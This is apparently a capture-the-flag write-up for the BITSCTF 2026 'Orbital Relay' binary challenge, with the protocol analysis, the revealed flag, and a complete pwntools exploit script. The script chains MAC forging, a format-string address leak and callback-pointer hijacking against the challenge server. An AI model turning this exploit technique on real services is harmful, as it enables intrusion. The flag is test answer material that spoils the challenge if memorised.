BITSCTF 2026 - Orbital Relay - Binary Exploitation Writeup

507 words

3 minutes

BITSCTF 2026 - Orbital Relay - Binary Exploitation Writeup

2026-02-22

Writeup

CTF

/

Security

/

Binary Exploitation

Category: Binary Exploitation

Flag: BITSCTF{0rb1t4l_r3l4y_gh0stfr4m3_0v3rr1d3}

Challenge Description#

Given orbital_relay.tar.gz. Remote: nc 20.193.149.152 1339

Protections: Full RELRO, Canary, NX, SHSTK, IBT.

Analysis#

The service uses a binary framed protocol:

Handshake: Client sends SYNCv3?, server responds with 4-byte little-endian session value.

Frame format: chan:u8 | flags:u8 | len:u16(le) | mac:u32(le) | payload[len]

MAC function:

1
acc = (chan<<16) ^ sess ^ flags ^ 0x9e3779b9;
2
for each payload byte b:
3
    acc = rol32(acc, 7);
4
    acc ^= (b + 0x3d);

Key bug chain in diagnostics handling:

TLV tag 0x10 decrypts attacker bytes into a global string buffer
TLV tag 0x40 triggers: __printf_chk(2, controlled_buffer, st80, st, keep_win) — format string primitive
Tag 0x31 sets encrypted callback pointer. On teardown (chan=9), server decrypts and calls it

Callback decode: decoded = cb_enc ^ (((uint64_t)st80 << 32) ^ st84 ^ 0x9e3779b97f4a7c15)

Exploitation#

Pass auth with proper MAC computation
Use format string to leak win function address
Forge cb_enc so decoded callback == leaked win
Trigger channel 9 to execute win() which prints flag.txt

File used: solve.py

1
# !/usr/bin/env python3
2
from pwn import *
3
import re
4
import struct
5

6
HOST = "20.193.149.152"
7
PORT = 1339
8

9
ST84_INIT = 0x28223B24
10
SEED_INIT = 0x3B152813
11
AUTH_XOR = 0x31C3B7A9
12
CB_CONST = 0x9E3779B97F4A7C15
13

14
def mix32(x: int) -> int:
15
    x &= 0xFFFFFFFF
16
    x = (((x << 13) & 0xFFFFFFFF) ^ x) & 0xFFFFFFFF
17
    x = ((x >> 17) ^ x) & 0xFFFFFFFF
18
    x = (((x << 5) & 0xFFFFFFFF) ^ x) & 0xFFFFFFFF
19
    return x
20

21
def kbyte(seed: int, idx: int) -> int:
22
    idx16 = idx & 0xFFFF
23
    v = (seed + ((idx16 * 0x045D9F3B) & 0xFFFFFFFF)) & 0xFFFFFFFF
24
    return mix32(v) & 0xFF
25

26
def mac32(payload: bytes, chan: int, flags: int, sess: int) -> int:
27
    acc = (((chan & 0xFF) << 16) ^ (sess & 0xFFFFFFFF) ^ (flags & 0xFF) ^ 0x9E3779B9) & 0xFFFFFFFF
28
    for b in payload:
29
        acc = ((acc << 7) | (acc >> 25)) & 0xFFFFFFFF
30
        acc ^= (b + 0x3D) & 0xFFFFFFFF
31
    return acc
32

33
def frame(chan: int, flags: int, payload: bytes, sess: int) -> bytes:
34
    return (
35
        struct.pack("<BBHI", chan, flags, len(payload), mac32(payload, chan, flags, sess))
36
        + payload
37
    )
38

39
def tlv(tag: int, value: bytes) -> bytes:
40
    if len(value) > 0xFF:
41
        raise ValueError("TLV value too long")
42
    return bytes([tag & 0xFF, len(value)]) + value
43

44
def enc_for_tag10(plain: bytes, st80: int, st84: int) -> bytes:
45
    seed = (st80 ^ st84) & 0xFFFFFFFF
46
    return bytes([(plain[i] ^ kbyte(seed, i)) & 0xFF for i in range(len(plain))])
47

48
def start():
49
    if args.LOCAL:
50
        return process(["./orbital_relay"])
51
    return remote(HOST, PORT)
52

53
def main():
54
    io = start()
55

56
    io.send(b"SYNCv3?")
57
    sess = u32(io.recvn(4))
58
    log.info(f"session = {sess:#x}")
59

60
    st84 = ST84_INIT
61
    st80 = mix32(SEED_INIT)
62

63
    auth_token = (mix32(st84 ^ sess) ^ AUTH_XOR) & 0xFFFFFFFF
64
    io.send(frame(3, 0, p32(auth_token), sess))
65

66
    # set state > 2 requirement for teardown path
67
    io.send(frame(1, 0, tlv(0x22, b"\x03"), sess))
68

69
    # format-string leak path
70
    leak_fmt = b"%p|%p|%p\n"
71
    enc = enc_for_tag10(leak_fmt, st80, st84)
72
    leak_req = tlv(0x10, enc) + tlv(0x40, b"")
73
    io.send(frame(1, 0, leak_req, sess))
74

75
    leak_blob = io.recvuntil(b"relay/open\n", timeout=3.0)
76
    if not leak_blob:
77
        leak_blob = io.recvrepeat(1.0)
78

79
    m = re.search(rb"0x[0-9a-fA-F]+\|0x[0-9a-fA-F]+\|(0x[0-9a-fA-F]+)", leak_blob)
80
    win_addr = int(m.group(1), 16)
81
    log.success(f"win = {win_addr:#x}")
82

83
    key = (((st80 & 0xFFFFFFFF) << 32) ^ (st84 & 0xFFFFFFFF) ^ CB_CONST) & 0xFFFFFFFFFFFFFFFF
84
    cb_enc = win_addr ^ key
85

86
    io.send(frame(1, 0, tlv(0x31, p64(cb_enc)), sess))
87
    io.send(frame(9, 0, b"", sess))
88

89
    out = io.recvrepeat(2.0)
90
    print(out.decode(errors="ignore"))
91

92
if __name__ == "__main__":
93
    main()